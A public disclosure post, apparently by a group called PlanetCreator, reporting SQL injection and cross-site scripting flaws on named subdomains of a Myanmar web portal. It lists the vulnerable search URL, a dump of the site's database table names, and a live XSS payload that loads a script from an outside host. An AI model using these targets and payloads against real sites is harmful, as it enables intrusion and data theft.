PlanetCreator reported another critical SQL injection (vulnerability) on several sites of Yatanarpon Web Portal URL : http://www.yatanarpon.com.mm/

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

informed to :- webmaster

SQL

http://job.yatanarpon.com.mm/new_searchresult.php?left_cat=1 and some links are vul…..

Table Name

user_testimonials
testimonials
tbl_send_content
subrecruiter
state
selectstyle
resume_product_posting
resume_product_access
resume_featured_employer
resume_club_pack
resume_builder_employment
resume_builder
realstyles
quote_recruiter_posting
quote_recruiter_featured
quote_recruiter_access
quote_recruiter
premium_employer_pricelist
premium_employer_logo
post_graduation
job_user
job_staticpages
job_sponsor
job_seeker_sub_farea
job_seeker_recruiter_jobs
job_seeker_itype
job_seeker_farea
job_seeker
job_saved_jobs
job_recruiter_type
job_recruiter_itype
job_recruiter_country
job_recruiter
job_keyword2
job_keyword
job_jobs
job_feed1
job_feed
job_agent
job_admin
industry
homepageads
home_table
graduation
generalsettings
functional_area
featured_job
featured_employer_pricelist
featured_employer_logo
featured_employer_example
featured_employer
emp_login
doctrate
cv_seeker
coverletter
country
contact
cities
canada_region
canada_cities
blogs
banneradv

XSS

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users.

http://smallbusiness.yatanarpon.com.mm/step2.php?dns="><script src=http://www.planetcreator.net/attacking/xss/planetcreator-xss.js></script>>

There’s no input filtering…

If you want to see detail of this vulnerability Click Here (Note :- Registered Member Only- If you are not PlanetCreator.Net Member Sign up Here)

We hope that your security staff will look into this issue and fix it as soon as possible.